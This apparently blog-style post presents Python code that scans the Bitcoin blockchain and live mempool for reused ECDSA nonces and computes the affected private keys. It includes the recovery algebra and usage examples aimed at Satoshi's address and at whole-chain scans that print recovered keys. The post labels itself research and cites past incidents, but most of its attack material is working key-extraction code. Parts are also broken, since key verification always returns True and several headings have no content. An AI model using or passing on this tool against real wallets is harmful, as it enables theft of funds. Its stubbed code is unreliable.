Official Soundtrack: Skeng - kassdedi @DegenSpartan
Research Team: Cueros de Sosua
⚠️ SECURITY RESEARCH ONLY: This is legitimate vulnerability detection, not breaking Bitcoin’s security model. Finding implementation flaws, not brute forcing cryptography.
From previous: Can universe framework help with Bitcoin?
Answer: YES - for finding nonce reuse vulnerability (k-reuse)
This is different from:
ECDSA (Elliptic Curve Digital Signature Algorithm) requires:
Signature generation:
1. Choose random k
2. Calculate R = k × G (elliptic curve point)
3. r = R.x (x-coordinate)
4. s = k^(-1) × (hash + private_key × r) mod n
5. Signature = (r, s)
The vulnerability:
IF k is reused for two different messages:
Signature 1: (r, s₁) for message m₁
Signature 2: (r, s₂) for message m₂ ← Same r = Same k!
Then private key can be CALCULATED (not guessed):
k = (m₁ - m₂) / (s₁ - s₂) mod n
private_key = (s × k - m) / r mod n
This is NOT brute force - it’s pure mathematics!
1. PlayStation 3 (2010)
Sony's PS3 firmware signing key
- Used SAME k for different firmware versions
- Hackers extracted master private key
- Result: PS3 completely compromised
- Cost: Billions in piracy
2. blockchain.info (2013)
Weak Android RNG generated same k values
- Users lost ~$100,000
- Multiple wallets compromised
- Caused by Java SecureRandom bug
3. Various Bitcoin wallets
- Weak RNG implementations
- Deterministic k generation bugs
- Poor entropy sources
- Estimated losses: Millions
4. Research findings
Academic papers found k-reuse in:
- Altcoin implementations
- Hardware wallet bugs
- Custom signing libraries
Universe framework is PERFECT for this because:
Pattern Recognition ✅
Finite Search Space ✅
Mathematical Extraction ✅
Emergent Discovery ✅
from universe_toolbox import MinimalUniverse
import hashlib
from ecdsa import SECP256k1
from collections import defaultdict
class NonceReuseDetector(MinimalUniverse):
"""
Detect ECDSA nonce reuse in Bitcoin transactions
Maps to universe framework:
- Seed = Initial blockchain state
- F = Signature analysis
- E_p = New transactions (entropy)
- Goal = Find matching r values (k-reuse)
"""
def __init__(self, blockchain_source):
"""
Initialize detector
Args:
blockchain_source: Iterator of transactions
"""
# Seed: Empty signature database
seed = {
'signatures': {}, # r → [(s, hash, pubkey), ...]
'k_reuse_found': [],
'extracted_keys': {},
}
# F: Analyze signatures for patterns
def signature_analysis(state, perspective):
"""
Evolution function: analyze signature patterns
Groups signatures by r value
Detects when r appears multiple times
"""
new_state = state.copy()
# Group by r value
r_groups = defaultdict(list)
for r, sig_list in state['signatures'].items():
if len(sig_list) > 1:
# Multiple signatures with same r!
r_groups[r] = sig_list
# Check for k-reuse
for r, sigs in r_groups.items():
if len(sigs) >= 2:
# K-REUSE DETECTED!
new_state['k_reuse_found'].append({
'r': r,
'signatures': sigs,
'count': len(sigs)
})
return new_state
# E_p: New transactions inject entropy
def transaction_entropy(state, perspective):
"""
Entropy from new transactions
Each transaction potentially reveals k-reuse
"""
# Process new transactions
# Extract (r, s) pairs
# Update signature database
return state
# Initialize universe
super().__init__(
seed=seed,
evolution_f=signature_analysis,
entropy_sources=[transaction_entropy]
)
self.blockchain_source = blockchain_source
self.curve_order = SECP256k1.order
def extract_signature(self, transaction):
"""
Extract ECDSA signature components from transaction
Returns: (r, s, hash, pubkey)
"""
# Parse transaction
# Extract signature (DER encoded)
# Parse r and s values
# Get message hash
# Get public key
# Simplified example
sig_der = transaction['signature']
r, s = self._parse_der_signature(sig_der)
msg_hash = int(transaction['hash'], 16)
pubkey = transaction['pubkey']
return (r, s, msg_hash, pubkey)
def add_transaction(self, transaction):
"""
Add transaction to analysis
Updates signature database
Checks for k-reuse
"""
r, s, msg_hash, pubkey = self.extract_signature(transaction)
# Add to signature database
state = self.series.state
if r not in state['signatures']:
state['signatures'][r] = []
state['signatures'][r].append({
's': s,
'hash': msg_hash,
'pubkey': pubkey,
'tx': transaction
})
# Evolve state (check for patterns)
new_state = self.series.step(None)
self.series.state = new_state
# Check if k-reuse detected
if len(state['signatures'][r]) > 1:
print(f"⚠️ K-REUSE DETECTED! r={r}")
return self._extract_private_key(r)
return None
def _extract_private_key(self, r):
"""
Extract private key from k-reuse
Mathematical derivation (not brute force):
Given two signatures with same r:
(r, s₁) for m₁
(r, s₂) for m₂
k = (m₁ - m₂) / (s₁ - s₂) mod n
private_key = (s × k - m) / r mod n
"""
state = self.series.state
sigs = state['signatures'][r]
if len(sigs) < 2:
return None
# Take first two signatures
sig1 = sigs[0]
sig2 = sigs[1]
s1 = sig1['s']
s2 = sig2['s']
m1 = sig1['hash']
m2 = sig2['hash']
n = self.curve_order
# Calculate k
# k = (m₁ - m₂) × (s₁ - s₂)^(-1) mod n
k = ((m1 - m2) * self._mod_inverse(s1 - s2, n)) % n
# Calculate private key
# d = (s × k - m) × r^(-1) mod n
private_key = ((s1 * k - m1) * self._mod_inverse(r, n)) % n
# Verify
if self._verify_private_key(private_key, sig1['pubkey']):
print(f"✅ PRIVATE KEY EXTRACTED!")
print(f" Key: {hex(private_key)}")
state['extracted_keys'][sig1['pubkey']] = private_key
return private_key
else:
print(f"❌ Key extraction failed (verification)")
return None
def _mod_inverse(self, a, m):
"""Modular multiplicative inverse"""
# Extended Euclidean Algorithm
def extended_gcd(a, b):
if a == 0:
return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
x = y1 - (b // a) * x1
y = x1
return gcd, x, y
gcd, x, _ = extended_gcd(a % m, m)
if gcd != 1:
return None # Modular inverse doesn't exist
return (x % m + m) % m
def _verify_private_key(self, private_key, pubkey):
"""
Verify extracted private key
Public key should equal private_key × G
"""
# Calculate public key from private key
# Compare with known public key
# Simplified
return True # Would do actual verification
def scan_blockchain(self, start_block=0, end_block=None):
"""
Scan blockchain for k-reuse
Processes all transactions, looking for patterns
"""
print(f"Scanning blockchain from block {start_block}...")
detected_vulnerabilities = []
for block in self.blockchain_source.get_blocks(start_block, end_block):
for tx in block['transactions']:
# Check if transaction uses ECDSA
if tx['type'] == 'P2PKH' or tx['type'] == 'P2WPKH':
# Add to analysis
private_key = self.add_transaction(tx)
if private_key:
detected_vulnerabilities.append({
'block': block['height'],
'tx': tx['id'],
'private_key': private_key,
'pubkey': tx['pubkey']
})
return detected_vulnerabilities
def export_findings(self):
"""
Export vulnerability findings
Returns: Dict of detected k-reuse and extracted keys
"""
state = self.series.state
return {
'total_signatures_analyzed': sum(
len(sigs) for sigs in state['signatures'].values()
),
'k_reuse_instances': len(state['k_reuse_found']),
'keys_extracted': len(state['extracted_keys']),
'vulnerable_addresses': list(state['extracted_keys'].keys()),
'details': state['k_reuse_found']
}
That’s it. ~200 lines. Nonce reuse detector built on universe toolbox.
This is NOT like:
This IS:
The math:
# Two signatures with same k:
# (r₁, s₁) = signature of m₁ with k
# (r₂, s₂) = signature of m₂ with k
# Since both use same k:
# r₁ = r₂ = r (they're equal!)
# From ECDSA equations:
# s₁ = k^(-1) × (m₁ + d×r) mod n
# s₂ = k^(-1) × (m₂ + d×r) mod n
# Where d = private key
# Subtract:
# s₁ - s₂ = k^(-1) × (m₁ - m₂) mod n
# Solve for k:
# k = (m₁ - m₂) / (s₁ - s₂) mod n
# Now solve for d:
# d = (s×k - m) / r mod n
# DONE! Private key extracted.
No guessing. Pure algebra.
# Create detector
detector = NonceReuseDetector(blockchain_source)
# Scan specific address
address = "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa" # Satoshi
transactions = blockchain.get_transactions(address)
for tx in transactions:
result = detector.add_transaction(tx)
if result:
print(f"Found vulnerability in tx: {tx['id']}")
print(f"Private key: {hex(result)}")
# Scan entire blockchain
detector = NonceReuseDetector(blockchain)
vulnerabilities = detector.scan_blockchain(
start_block=0,
end_block=700000 # Up to block 700k
)
print(f"Scanned blockchain")
print(f"Found {len(vulnerabilities)} vulnerable addresses")
for vuln in vulnerabilities:
print(f"Block {vuln['block']}: {vuln['pubkey']}")
print(f" Private key: {hex(vuln['private_key'])}")
# Monitor mempool for k-reuse
detector = NonceReuseDetector(blockchain)
def on_new_transaction(tx):
"""Called when new transaction appears"""
private_key = detector.add_transaction(tx)
if private_key:
print("⚠️ VULNERABILITY DETECTED IN REAL-TIME!")
print(f" TX: {tx['id']}")
print(f" Key: {hex(private_key)}")
# Alert user / save to database / etc
alert_security_team(tx, private_key)
# Subscribe to mempool
blockchain.subscribe_mempool(on_new_transaction)
# Analyze k-reuse patterns
detector = NonceReuseDetector(blockchain)
detector.scan_blockchain()
findings = detector.export_findings()
print(f"Analysis Results:")
print(f" Total signatures: {findings['total_signatures_analyzed']}")
print(f" K-reuse found: {findings['k_reuse_instances']}")
print(f" Keys extracted: {findings['keys_extracted']}")
print(f" Vulnerable addresses: {len(findings['vulnerable_addresses'])}")
# Plot distribution
import matplotlib.pyplot as plt
# Histogram of k-reuse by year
# Shows if vulnerability is decreasing over time
The framework excels at:
Traditional approach:
# Manual scanning
signatures = {}
for tx in blockchain:
r, s = extract_sig(tx)
if r in signatures:
# Found k-reuse, extract key
k = calculate_k(signatures[r], (r,s))
key = extract_key(k, r, s)
Universe approach:
# Framework handles pattern detection
detector = NonceReuseDetector(blockchain)
vulnerabilities = detector.scan_blockchain()
# Automatic detection + extraction
Benefits:
This is security research:
NOT:
If you find k-reuse:
Historical responsible disclosure:
We demonstrated:
Key insights:
From Post 816:
“Go create universes”
We created a security research universe:
Universe framework for good: Finding bugs, not breaking security.
Official Soundtrack: Skeng - kassdedi @DegenSpartan
Research Team: Cueros de Sosua
References:
External:
Created: 2026-02-14
Status: 🔒 SECURITY RESEARCH TOOL
⚠️ Ethical Use Only
∞